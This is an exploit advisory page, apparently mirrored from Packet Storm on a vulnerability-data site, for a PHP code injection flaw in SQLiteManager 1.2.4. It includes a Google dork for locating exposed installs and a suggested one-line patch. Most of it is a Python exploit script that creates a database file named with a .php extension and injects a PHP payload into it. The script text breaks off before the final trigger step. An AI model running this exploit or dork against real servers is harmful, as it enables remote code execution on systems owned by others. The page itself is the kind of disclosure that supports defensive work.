Lucene search
K

SQLiteManager 1.2.4 PHP Code Injection

🗓️ 25 Jan 2013 00:00:00Reported by RealGameType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 19 Views

SQLiteManager 1.2.4 PHP Code Injection Vulnerability in SQLiteManager Softwar

Code
`Description:  
===============================================================  
Exploit Title: SQLiteManager 0Day Remote PHP Code Injection Vulnerability  
Google Dork: intitle:SQLiteManager inurl:sqlite/  
Date: 23/01/2013  
Exploit Author: RealGame  
Vendor Homepage: http://www.Relagame.co.il  
Software Link: http://sourceforge.net/projects/sqlitemanager/  
Version: <=1.2.4  
Tested on: Windows XP, Debian 2.6.32-46  
CVE: N/A  
===============================================================  
Vulnerable Softwares:  
  
Name: SQLiteManager  
Official Site: http://www.sqlitemanager.org/  
  
Name: Ampps  
Official Site: http://www.ampps.com/  
  
Name: VertrigoServ  
Official Site: http://vertrigo.sourceforge.net/  
===============================================================  
About Software:  
Official Site: http://www.sqlitemanager.org/  
SQLiteManager is a database manager for SQLite databases. You can manage  
any SQLite database created on any platform with SQLiteManager.  
===============================================================  
Easy Way To Fix:  
Find: SQLiteStripSlashes($_POST['dbpath'])  
Replace: str_replace('.', '', SQLiteStripSlashes($_POST['dbpath']))  
On File: ./include/add_database.php  
===============================================================  
  
import re  
import urllib2  
from urllib import urlencode  
from sys import argv, exit  
  
def strip_tags(value):  
#Strip tags with RegEx  
return re.sub('<[^>]*?>', '', value)  
  
def getDbId(sqliteUrl, myDbName):  
#Find Components  
htmlRes = urllib2.urlopen(sqliteUrl, None, 120).read()  
if htmlRes:  
#If you found it take all the rows  
td = re.findall('<td class="name_db">(.*?)</td>', htmlRes, re.DOTALL)  
#Make a dict of stripped columns  
for element in td:  
if strip_tags(element) == myDbName:  
#Return Id  
return "".join(re.findall('\?dbsel=(.*?)"', element, re.DOTALL))  
return None  
  
def main():  
print \  
'SQLiteManager Exploit\n' + \  
'Made By RealGame\n' + \  
'http://www.RealGame.co.il\n'  
  
if len(argv) < 2:  
#replace('\\', '/') - To Do The Same In Win And Linux  
filename = argv[0].replace('\\', '/').split('/')[-1]  
  
print 'Execute Example: ' + filename + ' http://127.0.0.1/sqlite/\n'  
exit()  
  
sqliteUrl = argv[1]   
myDbName = "phpinfo"  
myDbFile = "phpinfo.php"  
#Create Database  
params = {'dbname' : myDbName,  
'dbVersion' : '2',  
'dbRealpath' : None,  
'dbpath' : myDbFile,  
'action' : 'saveDb'}  
urllib2.urlopen(sqliteUrl + "main.php", urlencode(params), 120)  
#Get Database ID  
dbId = getDbId(sqliteUrl + "left.php", myDbName)  
#If Database Created  
if dbId:  
#Create Table + Shell Creator  
params = {'DisplayQuery' : 'CREATE TABLE temptab ( codetab text );\n' + \  
'INSERT INTO temptab VALUES (\'<?php phpinfo(); unlink(__FILE__); ?>\');\n',  
'sqlFile' : None,  
'action' : 'sql',  
'sqltype' : '1'}  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation